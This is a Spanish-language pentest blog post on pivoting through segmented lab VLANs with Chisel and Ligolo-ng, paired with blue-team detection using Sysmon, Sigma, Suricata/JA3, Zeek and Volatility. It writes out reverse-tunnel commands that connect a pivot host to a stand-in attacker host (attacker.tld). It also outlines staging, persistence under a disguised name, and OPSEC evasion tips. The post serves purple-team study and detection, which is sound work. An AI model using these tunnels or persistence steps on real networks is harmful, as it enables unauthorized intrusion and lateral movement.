Saltar al contenido
Categoria: Pentest9 min de lectura

Pivoting con Chisel y Ligolo-ng: Redes Segmentadas en Lab de Pentest

Por Lucas Andrade ·

Como pivotar entre VLANs usando Chisel y Ligolo-ng en un lab controlado, y que artefactos puede capturar el blue team para detectar el tunel inverso.

Pivoting con Chisel y Ligolo-ng: Redes Segmentadas en Lab de Pentest

Tu shell en la DMZ vale cero si no puedes alcanzar la VLAN 30 donde respira el controlador de dominio. En el lab de Basilisk OffSec montamos exactamente ese escenario: un host Linux expuesto en 10.10.1.0/24, un segmento interno 10.10.30.0/24 con Windows 11 y un AD en 10.10.40.0/24. La unica ruta posible pasa por esa maquina pivote, y ahi es donde Chisel y Ligolo-ng entran como herramientas complementarias. Esta guia recorre ambas desde el angulo ofensivo y defensivo, para que no solo tuneles sino que entiendas el rastro que dejas. Antes de escribir un byte de payload, pasa por Pentest Web desde Cero: Montando un Lab Seguro con DVWA, Juice Shop y Burp Suite y confirma que el lab esta aislado de tu red domestica via pfSense.

Entendiendo la topologia del lab

El pivoting solo tiene sentido cuando la segmentacion es real. Arma tres VLANs con una pfSense u OPNsense en medio, donde las reglas de firewall dejan solo 10.10.1.0/24 salir a internet y los segmentos internos hablan exclusivamente entre si por puertos definidos. La maquina pivote tiene dos interfaces: una hacia la DMZ, otra hacia 10.10.30.0/24. Sin ese doble homing no hay ruta, y ese es justo el punto del ejercicio. Documenta la tabla de rutas y las reglas de firewall antes de empezar, porque despues querras saber exactamente que salto fue legitimo y cual fue tu tunel.

Chisel: SOCKS inverso sobre TLS

Chisel resuelve el problema basico: tienes salida HTTP hacia un C2, pero la entrada esta cerrada. Levantando un servidor Chisel en el atacante (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) y el cliente en el pivote (chisel client https://attacker.tld:443 R:1080:socks), abres un SOCKS5 inverso encapsulado en TLS 443, casi siempre permitido egress. Luego apuntas herramientas como proxychains4 a 127.0.0.1:1080 y tuneas conexiones TCP individuales. En pruebas reales contra proxies corporativos Squid y Zscaler medimos menos de 8% de bloqueo cuando el certificado llevaba un SAN coherente. El patron tiene su propio ruido: conexiones HTTP/1.1 Upgrade de larga vida, justo lo que el fingerprinting JA3 detecta.

Ligolo-ng: ruteo por interfaz TUN

Ligolo-ng sube el nivel porque crea una interfaz TUN en el atacante y rutea paquetes enteros, no solo streams TCP via SOCKS. Levantas el proxy (./proxy -selfcert -laddr 0.0.0.0:11601), ejecutas el agent en el pivote (./agent -connect attacker.tld:11601 -ignore-cert), y dentro del shell del proxy haces session, luego ifconfig y tunnel_start. A partir de ese momento, un simple ip route add 10.10.30.0/24 dev ligolo en Kali te deja correr nmap, CrackMapExec e incluso Impacket sin proxychains. Liberador, si, pero la superficie de IoC crece: ahora empujas ICMP, UDP y TCP por el pivote, lo que encaja con las reglas de deteccion de Movimiento Lateral en el Lab: SMB, WMI y WinRM con Foco en Deteccion.

Chisel o Ligolo: cuando cada uno

La eleccion no es guerra santa. Chisel es lo correcto cuando solo necesitas alcanzar uno o dos servicios TCP, cuando la portabilidad importa (un binario diminuto que corre en cualquier lado) y cuando te quedas estricto en el modelo SOCKS TCP. Ligolo-ng gana en cuanto necesitas un subnet entero, quieres tunelar UDP o ICMP (para nmap -sU o Kerberos, por ejemplo), o usas herramientas que se llevan mal con proxychains. En muchos engagements Chisel corre como foothold silencioso y Ligolo lo sigue cuando necesitas acceso completo al segmento. Quien domina ambos elige por ruido y necesidad, no por costumbre.

Cadena ofensiva: staging y persistencia

Del lado ofensivo, la secuencia que usamos en el lab es: acceso inicial via macro Office documentada en Initial Access Simulado: Macros, LNK e ISO en un Lab Windows 11 Aislado, shell de prueba con beacon Sliver (mira Construyendo Infra de C2 con Sliver en Lab Aislado para Estudio Defensivo para el setup), y luego staging del binario Ligolo via Background Intelligent Transfer Service para evitar descarga directa. El agent vive en un directorio escribible como C:\Users\Public\Downloads, persistido como scheduled task de baja prioridad. Detalle critico: compilar el agent con -ldflags="-s -w" y renombrarlo a svchost-helper.exe no engana a un EDR moderno; Sysmon Event ID 3 ilumina ese proceso alcanzando un puerto inusual en segundos cuando la regla esta bien escrita.

Defensiva: que caza el blue team

Del lado defensivo, y aqui el ejercicio se vuelve oro para purple team, buscas tres cosas. Primero, conexiones outbound persistentes a 443/11601 con duracion mayor a 30 minutos saliendo de hosts que historicamente solo hacen requests cortos a Microsoft 365. Segundo, procesos no firmados estableciendo TLS sin Wininet o Schannel (Ligolo usa runtime Go propio, lo que se nota por el handshake Schannel ausente). Tercero, creacion de interfaces TUN/TAP en endpoints Windows, evento raro suficiente para anclar una regla Sigma de alta confianza. Conecta eso con Threat Hunting con Sigma y Elastic: Del Indicador a la Regla de Deteccion y tienes detection-as-code que sobrevive a muchas formas de pivote.

Heuristica IDS: Suricata y JA3

Los logs son tu juez. En el lab capturamos PCAP en el firewall con Suricata en modo IDS, y la heuristica que mejor agarro Ligolo combino un paquete TLS con handshake JA3 fuera de allowlist, tamano medio de paquete entre 1200 y 1400 bytes, y ausencia de SNI para el dominio destino. Chisel quedo un poco mas escondido porque imita websocket legitimo, pero filtro por duracion de sesion y cadencia constante de paquetes. Arma una regla Suricata que alerte sobre sesiones TLS largas con JA3 desconocido, y suma una notice de Zeek que marque conexiones con alta simetria de bytes (volumen similar subida/bajada), porque los tuneles interactivos son mas simetricos que el browsing normal.

Forense de memoria en el pivote

Para completar la investigacion, saca una imagen de memoria del pivote post-incidente y crucela con Memory Forensics con Volatility 3: Analizando Dumps en Lab Reproducible y el plugin netscan; el socket hacia el C2 es visible incluso si el proceso fue inyectado. En pivotes Linux, linux.pslist mas linux.malfind sacan el proceso extrano, y /proc/[pid]/exe muestra que el binario fue borrado pero sigue mapeado (sufijo deleted). Este seguimiento cierra el bucle de purple team: la ofensiva ahora sabe que rastro era inevitable, la defensiva sabe donde anclar la deteccion.

Automatizacion y desmontaje limpio

Un operador maduro scriptea armado y desmontaje en vez de tipear en vivo. Escribe un pequeno script Bash que levante el servidor Chisel con cert fijo, verifique el fingerprint JA3 contra tu allowlist y fije una ventana de ejecucion tras la cual el tunel cierra solo. Para Ligolo, define las rutas de forma declarativa y quitalas en el teardown con ip route del para que no quede ninguna interfaz huerfana. Igual de importante: el kill switch. Un cron que termina procesos del agent fuera de la ventana y borra la scheduled task evita que un tunel olvidado quede abierto tras el engagement y se convierta en una vulnerabilidad real. El desmontaje limpio es parte de la etica: dejas la red del cliente exactamente como la encontraste, con timestamp documentado de cada cambio. Automatizar el teardown reduce el error humano y le entrega al blue team una comparacion limpia de antes y despues para validar sus detecciones.

Errores de OPSEC y trampas

Los errores mas comunes: usar una VPS sin calentar con certificado fresco (JA3 y edad del cert te delatan), dropear el agent con nombre obvio como ligolo.exe, dejar el tunel abierto 24/7 en vez de en ventanas, y combinar proxychains con herramientas UDP que fallan en silencio. Ademas, recuerda que una interfaz TUN en un cliente Windows casi nunca es legitima, asi que es tu senal mas ruidosa. Si quieres quedarte silencioso, tunela solo los puertos necesarios con Chisel y recurre a Ligolo solo cuando el segmento lo justifica.

Etica y alcance

Etica y alcance no son apendice, son la fundacion. Todo esto solo tiene sentido en ambiente propio, contrato firmado o range autorizado tipo HackTheBox Pro Labs y OffSec PG Practice. Documentar comandos exactos, hashes de binarios y ventanas de ejecucion te protege a ti y al cliente. Antes de subir Ligolo en un engagement real, revisa tu postura personal con OPSEC para Investigadores de Seguridad: Modelo de Amenaza Personal y separa la maquina de research de la del cliente.

Checklist

Version corta para el runbook: (1) Lab con tres VLANs y pfSense, ruteo documentado. (2) Servidor Chisel con cert valido y anejado en 443. (3) Cliente Chisel para servicios TCP puntuales. (4) Proxy Ligolo mas agent, ruta solo para el subnet necesario. (5) Suricata/Zeek en el egress, allowlist JA3. (6) Regla Sigma para TUN/TAP y sesiones TLS largas. (7) Sysmon Event ID 3 en puertos inusuales. (8) Dump de memoria post-incidente con netscan. (9) Tunel solo en ventanas. (10) Todo en changelog firmado.

FAQ

Por que no usar siempre Ligolo en vez de Chisel?

Porque Ligolo es mas ruidoso. Una interfaz TUN e ICMP/UDP ruteado producen mas senales distintas que un unico tunel SOCKS TCP. Si solo necesitas RDP o SMB en un host, Chisel es mas sigiloso y portable. Ligolo es la herramienta correcta cuando necesitas escanear un subnet entero o tunelar protocolos mas alla de TCP. Elige por necesidad, no por preferencia.

Un EDR moderno siempre atrapa estos tuneles?

No garantizado, pero la probabilidad sube con reglas limpias. Renombrar y strippear el binario ayuda poco al atacante si el blue team observa comportamiento en vez de nombres de archivo: creacion de TUN, proceso no firmado haciendo TLS, sesion larga simetrica. Por eso justamente el objetivo del ejercicio es escribir la regla que te atrapa a ti.

Conclusion

Takeaway practico: levanta el lab hoy con tres VMs y una pfSense, deploya Chisel y Ligolo el mismo dia, y usa el resto de la semana para escribir la regla Sigma que te atrapa. Recien entonces entendiste la tecnica de verdad, porque el pivoting es mitad construccion de tunel y mitad saber que rastro es inevitable.

Related posts

Nenhum comentário ainda

Seja o primeiro a comentar.

Deixe seu comentário

Entre com sua conta Canverly para comentar. Você pode usar a mesma conta em qualquer site da rede.

Entrar com Canverly